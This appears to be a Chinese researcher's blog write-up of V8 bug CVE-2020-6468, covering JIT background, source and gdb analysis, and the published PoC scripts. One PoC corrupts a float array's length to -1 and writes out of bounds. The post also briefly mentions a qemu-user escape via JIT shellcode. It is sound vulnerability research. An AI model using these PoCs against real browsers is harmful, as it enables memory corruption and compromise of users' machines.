chrome V8 issue-1076708 暨 CVE-2020-6468 漏洞分析

Posted on | | Views:

chrome V8 issue-1076708 暨 CVE-2020-6468 漏洞分析

前言

秋招结束了，5月开始学习浏览器，这是实习期分析的第一个issue，因为之后已经有公开的分析报告出来了，所以这里放出来(不过好像不会有面试官再看我的博客了:))，很大概率也是我的最后一个博客，感谢p4nda、P1umer、Keenan对我的帮助。

四月到现在经历了很多事，感谢学长们在实习和秋招时对我的指导，感谢老曹和柯南不厌其烦教我浏览器，感谢卓饶对我论文的帮助，特奖答辩时陪我改ppt和稿子。感谢一直陪在我身边的人和只能陪我走到这里的人，阿征会努力努力再努力。

前置知识

JIT(Just-in-time)编译器

交互式解释器易于理解和实现并且反馈及时，但由于其无法跨程序各部分进行全局的优化，这种解释器的执行速度很慢。编译器在代码运行前编译源代码，对于复杂的代码编译器会做局部优化和全局优化，这使得编译的耗时较长而执行的速度较快。JIT编译器结合了二者的优点，分为baseline编译器(Ignition)和优化编译器(TurboFan)，前者尽可能复用hot code编译后的结果，后者使用解释器收集的信息进行假设，并根据假设优化，如果假设与实际不符则会进行解优化，丢弃掉优化的代码。

可以参考下面两篇文章了解JIT的设计思想和优化编译器的IR优化设计。

【译】JavaScript工作原理：V8编译器的优化

TurboFan JIT Design

JIT相关CTF题目及漏洞

Linux Kernel ebpf组件中JIT权限提升漏洞 CVE-2020-8835、CVE-2020-27194错误计算了寄存器边界追踪导致可以绕过验证器检查以实现越界写。

*CTF-2021中Favourite Architecture 2提供了一种qemu逃逸的思路。qemu-user模拟程序运行时，目标程序和qemu-user进程共享宿主机的进程内存空间，执行目标程序时qemu-user加载目标程序的内存数据模拟执行。因而目标程序可以读写qemu-user进程的数据，由于虚拟化的限制qemu-user的内存空间的地址对目标程序不可见，但仍可以通过构造/./proc/self/maps绕过qemu-user对于绝对路径的检查，最终获取到JIT的rwx page地址并写入shellcode实现qemu逃逸。

JS异步函数

Js同步函数中的代码是顺序执行的，这意味着在某行代码阻塞时后面的操作只能暂停，以下面的js代码为例，我们只有在fetch到图片之后才能将图片展示出来，如果异步执行这两行代码则可能报错因为fetch尚未完成。

1
2
3
var response = fetch('myImage.png');
var blob = response.blob();
// display your image blob in the UI somehow

为了解决这个问题，js将语言的执行模式分为两种：同步和异步。同步模式里后一个任务总是等待上一个任务执行完毕后再执行，任务的执行顺序和排列顺序一致且同步的。异步模式下，每个任务有一个或者多个回调函数，前一个任务结束后，不是执行下一个任务而是执行回调函数，后一个任务不等前一个任务结束就开始执行，程序的执行顺序和任务的排列顺序时不一致且异步的。下面我们介绍两种异步编程的方式：callback和Promises对象。

假设我们有三个函数f1、f2和f3，其中f1、f2需要顺序执行，f3不依赖于f1、f2执行，如果f1是一个比较耗费资源的函数，我们可以将f2实现为f1的callback，如下代码所示，f1在执行完自己的代码块后会紧接着执行callback，与此同时f3并不等待f1执行结束就开始了代码执行，这样就实现了异步编程，将耗费时间和资源的f1操作异步执行。

1
2
3
4
5
6
7
8
function f1(callback){
  setTimeout(function(){
    //f1 main handle code
    callback();
  },1000);  
}
f1(f2);
f3();

Promises对象是CommonJS工作组提出的一种规范，目的是为异步编程提供统一接口。它的思想是每一个异步任务返回一个Promise对象，该对象有一个then方法，允许指定回调函数。比如f1的回调函数f2可以写成f1().then(f2);。观察下面的示例，可以看到有两个then block，每个block都包含一个回调函数，如果前一个操作成功，该函数将运行，并且每个回调都接收前一个成功操作的结果作为输入，每个.then()块返回另一个promise，这意味着可以将多个.then()块链接到另一个块上，这样就可以依次执行多个异步操作。如果其中任何一个then()块失败，则在末尾运行catch()块——与同步try…catch类似，catch()提供了一个错误对象，可用来报告发生的错误类型。

1
2
3
4
5
6
7
8
fetch('products.json').then(function(response) {
  return response.json();
}).then(function(json) {
  products = json;
  initialize();
}).catch(function(err) {
  console.log('Fetch problem: ' + err.message);
});

async/await关键字是为了简化异步编程而引入的，简单来说它们是基于Promises的语法糖，使异步代码更方便编写和阅读。以下面的代码为例，asyncCall为异步函数，函数内部执行第一个console.log后输出calling字符串，同时函数调用处的下一行console.log也异步执行输出test字符串，由于调用resolveAfter2Seconds函数时在前面添加了await关键字，异步函数将阻塞在此直到返回一个Promise对象再执行之后的代码，故在2s后输出resolved字符串。

await关键字后面可以跟任何js值，比如await 42，如果表达式的值不是Promise对象，则js会将其转换为一个promise。此外await后面跟的对象只要包含有then方法则await也可以实现函数执行的暂停和恢复，具体的实现原理和一些其他trick可以参见Faster async functions and promises

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function resolveAfter2Seconds() {
  return new Promise(resolve => {
    setTimeout(() => {
      resolve('resolved');
    }, 2000);
  });
}

async function asyncCall() {
  console.log('calling');
  const result = await resolveAfter2Seconds();
  console.log(result);
  // expected output: "resolved"
}

asyncCall();
console.log("test");

Basic blocks && CFG

basic block简称bb，我们把一个procedure划分成许多basic block，每个bb都是一块straight line code，在block中没有jump in或者jump out。这些bb被组织起来就可以得到control flow graph(CFG)。

一个flow-graph有以下特点：

  1. bb B1、B2等将被作为node
  2. 如果control可以从B1 flow到B2，那么从B1->B2就有一个直接连接的边
  3. Enter和EXIT这两个特殊的节点分别代表graph的source和sink

在一个BB的内部，IR可能表现为各种形式(我们可以用不同的表现形式构建bb)：tuples,trees,DAGs(有向无环图)

如何构建BB？

假设输入形式为tuple，首先考虑一个leader的集合，leader指BB中的第一个tuple：

  1. 第一个tuple为leader
  2. 如果存在if ... goto L或者goto L的语句那么L是一个leader
  3. 如果tuple L紧跟在一个tupleif ... goto B或者goto B的后面，那么L是一个leader

每个bb中都包含leader及直到下一个leader出现前的tuple。

控制流图构造:
如果在一个有序代码中，基本块B2跟在B1后，那么产生一个由B1到B2的有向边。
a) 有跳转点。这个点从B1的结束点跳到B2的开始点
b) 无跳转点（有序代码中），B2跟在B1后，且B1的结束点不是无条件跳转语句

Scheduling

Scheduling阶段最终从node graph中生成CFG。

注意value,effect和control的依赖必须被遵循，在满足依赖的情况下，scheduler可以以任何顺序排布nodes!

high-level的scheduling:

  1. build BB：本质是遍历control chain
  2. place fixed nodes into their BB:Phis,return,parameter等节点的fix
  3. place其他节点：获取一个节点和其所有的use，把它放在其所有use的dominator中

我们尝试从loop中跳出，处理cfg，撤销由于redundancy elmination造成的影响。

scheduling和side-effects:

scheduler把effects当成普通的value进行处理。TurboFan必须注意：

  1. 监视effect chain防止断开：不同于普通的value，我们不能同时拷贝很多节点
  2. 保证effect chain不被破坏：如果一个node的output没有使用，那么它将不会被scheduled

存储effect ordering:

蓝色的edge表示effect chain，StoreField操作可以被随意地放置在branch前(比如branch在一个循环里，scheduler认为提到前面无所谓)，这种情况下我们需要插入一个control dependency到IfTrue节点以避免上述情况发生。

Load-store effect ordering: Load必须同effect chain全连接，否则load可能被scheduled到store后面

Memory region protection: 我们需要保护allocation和initialization.在change节点中可能会有alloc的操作，因此如果它被scheduled到了store之间，GC可能会看到未初始化的内存。我们使用BeginRegion和FinishRegion来保证内存区域是不可打断的，因而region是原子的。

Effect control linearization: 将无副作用的操作降级为low-level下有副作用的nodes。

为什么要进行scheduling？

  1. son可以表达不同顺序的code:许多可能的CFG、许多可能的nodes分配到CFG的blocks、在basic block中许多可能的顺序
  2. 最有效的顺序是什么：取决于control dominance,loop nesting和register pressure
  3. 产出：传统的CFG

主要思路：

  1. Build a schedule
  2. 从schedule中重建control和effect chain
  3. 在re-building的时候lower opration并且将他们连接到effect/control chain上
  4. Throw away这个schedule

漏洞描述

issue编号为1076708，后被分配CVE编号CVE-2020-6468，issue名称为OOB read/write in v8::internal::ElementsAccessorBase<v8::internal::FastHoleyDoubleElementsAccessor，即Array中elements的读写越界，漏洞提交者称该漏洞产生于JIT阶段，可以触发类型混淆以修改array的length为任意值，进而造成OOB Read/Write。

具体地，在src/compiler/dead-code-eliminiation.cc代码文件的ReduceDeoptimizeOrReturnOrTerminateOrTailCall中，v8使用Throw节点替换了Terminate节点，这导致在effect-control-linearization节点多个control节点attach到了同一个节点上。根据这个漏洞可以构造利用原语，该原语将在后面schedule阶段造成指令规划错误，作者使用PoC成功修改arr.length=-1并将其checkMaps节点放在赋值操作后面。

影响范围

在issue的报告中提交者在Chrome 81和V8 8.1.307测试触发了崩溃，CVE描述称该漏洞影响83.0.4103.61版本前的Chrome，我们在Chromium Download Tool下载stable版本进行测试，发现linux下可以触发漏洞的最早的stable版本为2020-04-07发布的81.0.4044.92。

在chromium_source里的blame查看该代码文件的修改历史记录，发现最早在2017-11-17的一个commit引入了漏洞代码commit-19ac10e，该代码主体使用的函数HasDeadInput同最终使用的FindDeadInput功能相同但是参数类型不同，在2018-01-03的commit-8de3a3b中第一次修改了HasDeadInput函数为FindDeadInput，并在2018-01-04最终确定使用该函数。

漏洞触发和扩大影响需要配合IR不同阶段的优化，从17年到20年之间优化部分的代码也有许多修改，因此上述时间线并不能成为判定漏洞影响范围的准确标准，如果需要准确判定漏洞的影响版本仍需要使用PoC进行漏洞触发测试。

环境搭建

git切换到漏洞所在的版本c011335dfaf5441b44e27d1b76dbf71cf2df775c,gclient sync同步文件后编译出64位的release版本和debug版本，为了方便调试在编译前设置gn的配置文件如下，之后的调试中我们可以使用符号表。

1
2
3
4
5
6
7
8
is_debug = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
symbol_level=2
target_cpu = "x64"
v8_untrusted_code_mitigations = false

将patch_diff1应用到代码文件(这里为了查看生成的IR图做对比，我们只保留修改代码检查的patch1)，编译得到patch后的d8。

安装v8的turbolizer，使用其自带的SimpleHTTPServer启动服务到本地的8000端口。虚拟机内部的键盘识别有些问题，为了使用一些快捷键在虚拟机启动服务在物理机查看IR图。

1
2
3
4
5
cd v8/tools/turbolizer
npm i
npm run-script build
# 服务端口默认为8000
python -m SimpleHTTPServer

漏洞分析

PoC分析

漏洞的提交团队提供了两个PoC，其中bug34_min.js是最小化触发漏洞的验证脚本，oob.html为构造原语触发OOB的造成严重影响的验证脚本。在第一份PoC中定义了函数f，函数内部定义了TypedArray数组，分配了0个元素的空间，将其第一个元素设置为obj对象，函数f内部又定义了一个异步函数var5。在var5函数里定义了常量对象var9，后面的死循环中使用了未定义的变量abc1|abc2作为if语句判断的条件，if内部以var9为循环进行/终止判断条件，被嵌套的循环执行await 1以及输出未定义变量abc3。

该PoC只能在IR图中看到Terminate节点的消除，可以据此确定触发到了漏洞，但由于并无OOB的效果我们重点分析后面的PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//bug34_min.js
var obj = {};
function f () { 
  var var13 = new Int8Array ( 0 ) ; 
  var13 [ 0 ] = obj ; 
  async function var5 ( ) { 
    const var9 = {} ; 
    while ( 1 ) {
      //print("in loop");
      if ( abc1 | abc2 ) 
        while ( var9 ) {
          await 1 ;
          print(abc3);
        }
    }
  } 
  var5 ( ) ; 
}

print(f());
%PrepareFunctionForOptimization(f);
for(var i = 0; i < 22; i++)
  f();

%OptimizeFunctionOnNextCall(f);
f();

第二份PoC在测试时去掉script标签，将alert输出改为console.log即可在d8上测试。其定义了两个class classA和classB。构造方法中为类成员赋值，classA的成员包括数值变量val、x以及数组变量a。classB的成员包括数值变量val、x以及字符串变量s。

变量A和变量B分别代表classA和classB的实例对象，定义函数f，参数arg2为41时则直接返回5，否则执行后续代码，定义容量为10的int8arr变量，变量z被赋值为arg1.x，对arg1的val成员赋值arg1.val = -1,对int8arr索引为1500000000处赋值int8arr [ 1500000000 ] = 22，定义异步函数f2并调用，f2的逻辑同PoC1中相似不再赘述。

定义变量arr为Array对象并初始化length为10，arr[0]=1.1使其转换为浮点数数组。在循环中依次调用20000次f(A,0);f(B,0);,之后修改参数arg2=41再进行10000次调用f(A,41);f(B,41);，最终调用f(arr,0);修改arr的length为-1。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<script>
class classA {
  constructor() {
    this.val = 0x4242;
    this.x = 0;
    this.a = [1,2,3];
  }
}

class classB {
  constructor() {
    this.val = 0x4141;
    this.x = 1;
    this.s = "dsa";
  }
}

var A = new classA();
var B = new classB()

function f (arg1, arg2) {
  if (arg2 == 41) {
    return 5;
  }
  var int8arr = new Int8Array ( 10 ) ;
  var z = arg1.x;
  // new arr length
  arg1.val = -1;
  int8arr [ 1500000000 ] = 22 ;
  async function f2 ( ) {
    const nothing = {} ;
    while ( 1 ) {
      //print("in loop");
      if ( abc1 | abc2 ) {
        while ( nothing ) {
          await 1 ;
          print(abc3);
        }
      }
    }
  }
  f2 ( ) ;
}

var arr = new Array(10);
arr[0] = 1.1;

var i;
// this may optimize and deopt, that's fine
for (i=0; i < 20000; i++) {
    f(A,0);
    f(B,0);
}
// this will optimize it and it won't deopt
// this loop needs to be less than the previous one
for (i=0; i < 10000; i++) {
    f(A,41);
    f(B,41);
}

// change the arr length
f(arr,0);

alert("LENGTH: " + arr.length.toString());

alert("value at index 12: " + arr[12].toString());

// crash
alert("crash writing to offset 0x41414141");
arr[0x41414141] = 1.1;
</script>

为了弄清哪里的关键操作触发了漏洞尝试修改部分核心代码进行验证，发现对于未定义的变量而言我们只能将其精简到以下形式，其余改动都会引起PoC失效，f2也无法改成同步函数。从PoC直接对应到漏洞触发比较困难，目前我们只知道while循环在IR中会生成loop节点和Terminate节点，故这里的循环可以理解其含义，对于其他的操作并无显式的影响，只能理解为构造特殊IR图所进行的布局，进行至此我们先去研究漏洞产生的原因以及PoC生效的原理。

1
2
3
4
5
6
7
8
9
10
11
async function f2 ( ) {
    const nothing = {} ;
    while ( 1 ) {
      if ( abc2 | 1) {
        while ( nothing ) {
          await 1 ;
          print("1");
        }
      }
    }
  }

coredump分析

在release版本中使用poc.html中的js代码测试，可以得到下面的crash，对比之后发现吻合issue中的OOB read/write in v8::internal::ElementsAccessorBase<v8::internal::FastHoleyDoubleElementsAccessor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#0  v8::internal::FixedDoubleArray::is_the_hole (this=<optimized out>, index=0x41414141) at ../../src/objects/fixed-array-inl.h:370
#1  v8::internal::FixedDoubleArray::is_the_hole (this=<optimized out>, isolate=<optimized out>, index=0x41414141)
    at ../../src/objects/fixed-array-inl.h:366
#2  v8::internal::(anonymous namespace)::ElementsAccessorBase<v8::internal::(anonymous namespace)::FastHoleyDoubleElementsAccessor, v8::internal::(anonymous namespace)::ElementsKindTraits<(v8::internal::ElementsKind)5> >::GetEntryForIndexImpl (
    isolate=<optimized out>, holder=..., backing_store=..., index=0x41414141, filter=<optimized out>)
    at ../../src/objects/elements.cc:1285
#3  v8::internal::(anonymous namespace)::ElementsAccessorBase<v8::internal::(anonymous namespace)::FastHoleyDoubleElementsAccessor, v8::internal::(anonymous namespace)::ElementsKindTraits<(v8::internal::ElementsKind)5> >::GetEntryForIndex (this=0x5606409295f0, 
    isolate=<optimized out>, holder=..., backing_store=..., index=0x41414141) at ../../src/objects/elements.cc:1296
#4  0x000056063ee2c0c6 in v8::internal::LookupIterator::LookupInRegularHolder<true> (this=0x7fff28b6f020, map=..., holder=...)
    at ../../src/objects/lookup.cc:1142
#5  0x000056063ee27c5e in v8::internal::LookupIterator::LookupInHolder<true> (this=0x7fff28b6f020, map=..., holder=...)
    at ../../src/objects/lookup.h:230
#6  v8::internal::LookupIterator::Start<true> (this=0x7fff28b6f020) at ../../src/objects/lookup.cc:67
#7  0x000056063ef82457 in v8::internal::LookupIterator::LookupIterator (this=0x7fff28b6f020, isolate=0xd4200000000, receiver=..., 
    key=..., configuration=v8::internal::LookupIterator::PROTOTYPE_CHAIN) at ../../src/objects/lookup-inl.h:50
#8  v8::internal::Runtime::SetObjectProperty (isolate=0xd4200000000, object=..., key=..., value=..., 
    store_origin=v8::internal::StoreOrigin::kMaybeKeyed, should_throw=...) at ../../src/runtime/runtime-object.cc:403
#9  0x000056063ecf852f in v8::internal::KeyedStoreIC::Store (this=<optimized out>, object=..., key=..., value=...)
    at ../../src/ic/ic.cc:2086
#10 0x000056063ecfd0d3 in v8::internal::__RT_impl_Runtime_KeyedStoreIC_Miss (args=..., isolate=0xd4200000000)
    at ../../src/ic/ic.cc:2453
#11 v8::internal::Runtime_KeyedStoreIC_Miss (args_length=<optimized out>, args_object=<optimized out>, isolate=0xd4200000000)
    at ../../src/ic/ic.cc:2423
#12 0x000056063f54afb8 in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit ()
#13 0x000056063f5c3bd7 in Builtins_StaKeyedPropertyHandler ()
#14 0x000056063f4def8b in Builtins_InterpreterEntryTrampoline ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
gdb-peda$

在debug版本中使用bug34_min.js进行测试，得到如下crash，这里是为了验证ReduceDeoptimizeOrReturnOrTerminateOrTailCall函数引发的漏洞。PoC2中的crash是由越界写引发的，因此我们重点关注这里的crash。可以看到是在EffectControlLinearizationPhase优化阶段依次调用了EffectControlLinearizationPhase->ComputeSchedule->BuildCFG.Run()->ConnectBlocks->ConnectThrow->AddThrow，在DCHECK_EQ(BasicBlock::kNone, block->control());发现block->control为throw触发了FATAL结束进程。

为了进一步研究这里DCHECK以及fail的原因我们还需要进一步分析源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
➜  x64.debug git:(a4dcd39d52) ✗ ./d8 poc.js --allow-natives-syntax
undefined
#
# Fatal error in ../../src/compiler/schedule.cc, line 297
# Debug check failed: BasicBlock::kNone == block->control() (none vs. throw).
#
#
#
#FailureMessage Object: 0x7ffdd3cfe920
==== C stack trace ===============================

    /home/wz/v8/v8/out.gn/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x21) [0x7fe121c48a81]
    /home/wz/v8/v8/out.gn/x64.debug/libv8_libplatform.so(+0x4d4ba) [0x7fe121bd34ba]
    /home/wz/v8/v8/out.gn/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x26e) [0x7fe121c3183e]
    /home/wz/v8/v8/out.gn/x64.debug/libv8_libbase.so(+0x3a18c) [0x7fe121c3118c]
    /home/wz/v8/v8/out.gn/x64.debug/libv8_libbase.so(V8_Dcheck(char const*, int, char const*)+0x27) [0x7fe121c31907]
    /home/wz/v8/v8/out.gn/x64.debug/libv8.so(v8::internal::compiler::Schedule::AddThrow(v8::internal::compiler::BasicBlock*, v8::internal::compiler::Node*)+0x6f) [0x7fe124f66f7f]
    /home/wz/v8/v8/out.gn/x64.debug/libv8.so(v8::internal::compiler::CFGBuilder::ConnectThrow(v8::internal::compiler::Node*)+0x82) [0x7fe124f70772]
    /home/wz/v8/v8/out.gn/x64.debug/libv8.so(v8::internal::compiler::CFGBuilder::ConnectBlocks(v8::internal::compiler::Node*)+0x146) [0x7fe124f6fc16]
    /home/wz/v8/v8/out.gn/x64.debug/libv8.so(v8::internal::compiler::CFGBuilder::Run()+0x16a) [0x7fe124f6d55a]
    /home/wz/v8/v8/out.gn/x64.debug/libv8.so(v8::internal::compiler::Scheduler::BuildCFG()+0xac) [0x7fe124f6a82c]
    /home/wz/v8/v8/out.gn/x64.debug/libv8.so(v8::internal::compiler::Scheduler::ComputeSchedule(v8::internal::Zone*, v8::internal::compiler::Graph*, v8::base::Flags<v8::internal::compiler::Scheduler::Flag, int>, v8::internal::TickCounter*)+0x209) [0x7fe124f6a709]
    /home/wz/v8/v8/out.gn/x64.debug/libv8.so(v8::internal::compiler::EffectControlLinearizationPhase::Run(v8::internal::compiler::PipelineData*, v8::internal::Zone*)+0x13d) [0x7fe124f4a2bd]
    /home/wz/v8/v8/out.gn/x64.debug/libv8.so(void v8::internal::compiler::PipelineImpl::Run<v8::internal::compiler::EffectControlLinearizationPhase>()+0x87) [0x7fe124f402f7]
    /home/wz/v8/v8/out.gn/x64.debug/libv8.so(v8::internal::compiler::PipelineImpl::OptimizeGraph(v8::internal::compiler::Linkage*)+0x247) [0x7fe124f34b67]
    /home/wz/v8/v8/out.gn/x64.debug/libv8.so(v8::internal::compiler::PipelineCompilationJob::ExecuteJobImpl(v8::internal::RuntimeCallStats*)+0xfb) [0x7fe124f346ab]
    /home/wz/v8/v8/out.gn/x64.debug/libv8.so(v8::internal::OptimizedCompilationJob::ExecuteJob(v8::internal::RuntimeCallStats*)+0x131) [0x7fe123b3c631]
    /home/wz/v8/v8/out.gn/x64.debug/libv8.so(+0x1ef6b20) [0x7fe123b49b20]
    /home/wz/v8/v8/out.gn/x64.debug/libv8.so(+0x1eee6c0) [0x7fe123b416c0]
    /home/wz/v8/v8/out.gn/x64.debug/libv8.so(v8::internal::Compiler::CompileOptimized(v8::internal::Handle<v8::internal::JSFunction>, v8::internal::ConcurrencyMode)+0xf0) [0x7fe123b41e90]
    /home/wz/v8/v8/out.gn/x64.debug/libv8.so(+0x28b574e) [0x7fe12450874e]
    /home/wz/v8/v8/out.gn/x64.debug/libv8.so(v8::internal::Runtime_CompileOptimized_NotConcurrent(int, unsigned long*, v8::internal::Isolate*)+0x128) [0x7fe124508378]
    /home/wz/v8/v8/out.gn/x64.debug/libv8.so(+0x18ce5df) [0x7fe1235215df]
Received signal 4 ILL_ILLOPN 7fe121c45b81
[1]    2234 illegal hardware instruction (core dumped)  ./d8 poc.js --allow-natives-syntax

调试 && 源码分析

该部分代码较多，本节分析将配合调试过程讲解关键代码。

Terminate节点生成

观察IR图，131:Terminate节点生成于Inlining阶段，effect input为118:EffectPhi节点，control input为124:Loop节点。该阶段将一些small函数内联到调用函数处，内联可以有效降低代码的多余检查和操作，使优化更有效，如对于add(1,2)直接进行常量折叠。体现到IR图上，Inlining将callee的子图展开到caller处。

在源码中生成Terminate节点的关键部分在BytecodeGraphBuilder::Environment::PrepareForLoop，在创建loop header时创建了Terminate节点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//调用链：BytecodeGraphBuilder::BuildGraphFromBytecode->BytecodeGraphBuilder::CreateGraph->BytecodeGraphBuilder::VisitBytecodes->BytecodeGraphBuilder::VisitSingleBytecode->BytecodeGraphBuilder::BuildLoopHeaderEnvironment->BytecodeGraphBuilder::Environment::PrepareForLoop
//src/compiler/bytecode-graph-builder.cc:3602
void BytecodeGraphBuilder::BuildLoopHeaderEnvironment(int current_offset) {
  //判断是否为LoopHeader
  if (bytecode_analysis().IsLoopHeader(current_offset)) {
    mark_as_needing_eager_checkpoint(true);
    const LoopInfo& loop_info =
        bytecode_analysis().GetLoopInfoFor(current_offset);
    //...

    // Add loop header.
    environment()->PrepareForLoop(loop_info.assignments(), liveness);
    //...
  }
}
//src/compiler/bytecode-graph-builder.cc:775
void BytecodeGraphBuilder::Environment::PrepareForLoop(
    const BytecodeLoopAssignments& assignments,
    const BytecodeLivenessState* liveness) {
  // Create a control node for the loop header.
  Node* control = builder()->NewLoop();

  // Create a Phi for external effects.
  Node* effect = builder()->NewEffectPhi(1, GetEffectDependency(), control);
  UpdateEffectDependency(effect);

  // Create Phis for any values that are live on entry to the loop and may be
  // updated by the end of the loop.
  //....

  // Connect to the loop end.
  //terminate节点的control为新创建的loop节点
  //terminate节点的effect为effectPhi
  //这对应了我们IR图中的观察
  Node* terminate = builder()->graph()->NewNode(
      builder()->common()->Terminate(), effect, control);
  builder()->exit_controls_.push_back(terminate);
}

我们在生成该节点处下断点调试查看，可以发现成功创建了0x83(131)Terminate节点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
//b bytecode-graph-builder.cc:808
[-------------------------------------code-------------------------------------]
   0x5652c3650a61 <v8::internal::compiler::BytecodeGraphBuilder::Environment::PrepareForLoop(v8::internal::compiler::BytecodeLoopAssignments const&, v8::internal::compiler::BytecodeLivenessState const*)+1489>:	mov    edx,0x2
   0x5652c3650a66 <v8::internal::compiler::BytecodeGraphBuilder::Environment::PrepareForLoop(v8::internal::compiler::BytecodeLoopAssignments const&, v8::internal::compiler::BytecodeLivenessState const*)+1494>:	xor    r8d,r8d
   0x5652c3650a69 <v8::internal::compiler::BytecodeGraphBuilder::Environment::PrepareForLoop(v8::internal::compiler::BytecodeLoopAssignments const&, v8::internal::compiler::BytecodeLivenessState const*)+1497>:	
    call   0x5652c36bd160 <v8::internal::compiler::Graph::NewNode(v8::internal::compiler::Operator const*, int, v8::internal::compiler::Node* const*, bool)>:	    call   0x5652c36bd160 <v8::internal::compiler::Graph::NewNode(v8::internal::compiler::Operator const*, int, v8::internal::compiler::Node* const*, bool)>
=> 0x5652c3650a6e <v8::internal::compiler::BytecodeGraphBuilder::Environment::PrepareForLoop(v8::internal::compiler::BytecodeLoopAssignments const&, v8::internal::compiler::BytecodeLivenessState const*)+1502>:	mov    r12,rax
   0x5652c3650a71 <v8::internal::compiler::BytecodeGraphBuilder::Environment::PrepareForLoop(v8::internal::compiler::BytecodeLoopAssignments const&, v8::internal::compiler::BytecodeLivenessState const*)+1505>:	mov    r14,QWORD PTR [r13+0x0]
   0x5652c3650a75 <v8::internal::compiler::BytecodeGraphBuilder::Environment::PrepareForLoop(v8::internal::compiler::BytecodeLoopAssignments const&, v8::internal::compiler::BytecodeLivenessState const*)+1509>:	mov    r15,QWORD PTR [r14+0x178]
   0x5652c3650a7c <v8::internal::compiler::BytecodeGraphBuilder::Environment::PrepareForLoop(v8::internal::compiler::BytecodeLoopAssignments const&, v8::internal::compiler::BytecodeLivenessState const*)+1516>:	mov    rax,QWORD PTR [r14+0x180]
   0x5652c3650a83 <v8::internal::compiler::BytecodeGraphBuilder::Environment::PrepareForLoop(v8::internal::compiler::BytecodeLoopAssignments const&, v8::internal::compiler::BytecodeLivenessState const*)+1523>:	cmp    r15,rax
[------------------------------------stack-------------------------------------]
0000| 0x7ffda7ff0550 --> 0x5652c41eccf0 --> 0x5652c3bdd8f8 (:internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+1824>:	0x00005652c3b90e98)
0008| 0x7ffda7ff0558 --> 0x5652c41ecc38 --> 0x5652c3bdda78 (:internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+2208>:	0x00005652c3b91068)
0016| 0x7ffda7ff0560 --> 0x5652c41f1910 --> 0x7 
0024| 0x7ffda7ff0568 --> 0x5652c41eccf0 --> 0x5652c3bdd8f8 (:internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+1824>:	0x00005652c3b90e98)
0032| 0x7ffda7ff0570 --> 0x5652c41f1900 --> 0x0 
0040| 0x7ffda7ff0578 --> 0x5652c41e3170 --> 0x1 
0048| 0x7ffda7ff0580 --> 0x5652c41ecaa8 --> 0x5652c3bde6a0 (:internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+5320>:	0x00005652c3b91bd8)
0056| 0x7ffda7ff0588 --> 0x7ffda7ff06c0 --> 0x7ffda7ff07c0 --> 0x5652c41c65b0 --> 0x3f3d00000000 --> 0x7ffda7ff2040 (0x00003f3d00000000)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00005652c3650a6e	75	    return NewNode(op, nodes_arr.size(), nodes_arr.data());
gdb-peda$ p *(v8::internal::compiler::Node*) 0x5652c41ef928
$1 = {
  static kOutlineMarker = 0xf,
  static kMaxInlineCapacity = 0xe,
  op_ = 0x5652c3bdd328 <v8::internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+336>,
  type_ = {
    payload_ = 0x0
  },
  mark_ = 0x0,
  bit_field_ = 0x22000083,(131节点)
  first_use_ = 0x0
}
gdb-peda$ p * (v8::internal::compiler::Operator *) 0x5652c3bdd328
$2 = {
  <v8::internal::ZoneObject> = {<No data fields>}, 
  members of v8::internal::compiler::Operator:
  _vptr$Operator = 0x5652c3b90788 <vtable for v8::internal::compiler::CommonOperatorGlobalCache::TerminateOperator+16>,
  mnemonic_ = 0x5652c2bd6c9e "Terminate",
  opcode_ = 0x12,
  properties_ = {
    mask_ = 0x78
  },
  //...
}
gdb-peda$

Throw节点生成

Throw节点的创建产生于VisitThrow、VisitAbort或者VisitReThrow函数中，这里以VisitThrow为例查看源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
//调用链BytecodeGraphBuilder::BuildGraphFromBytecode->BytecodeGraphBuilder::CreateGraph->BytecodeGraphBuilder::VisitBytecodes->BytecodeGraphBuilder::VisitSingleBytecode->BytecodeGraphBuilder::VisitThrow/BytecodeGraphBuilder::VisitAbort/BytecodeGraphBuilder::VisitReThrow
//以VisitThrow为例
//src/compiler/bytecode-graph-builder.cc:2594
void BytecodeGraphBuilder::VisitThrow() {
  BuildLoopExitsForFunctionExit(bytecode_analysis().GetInLivenessFor(
      bytecode_iterator().current_offset()));
  Node* value = environment()->LookupAccumulator();
  Node* call = NewNode(javascript()->CallRuntime(Runtime::kThrow), value);
  environment()->BindAccumulator(call, Environment::kAttachFrameState);
  //生成Throw节点
  Node* control = NewNode(common()->Throw());
  MergeControlToLeaveFunction(control);
}

在gdb中下断点到NewNode处调试观察，可以看到成功生成了0x135(309)Throw节点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
//b bytecode-graph-builder.cc:2610
//b bytecode-graph-builder.cc:2619
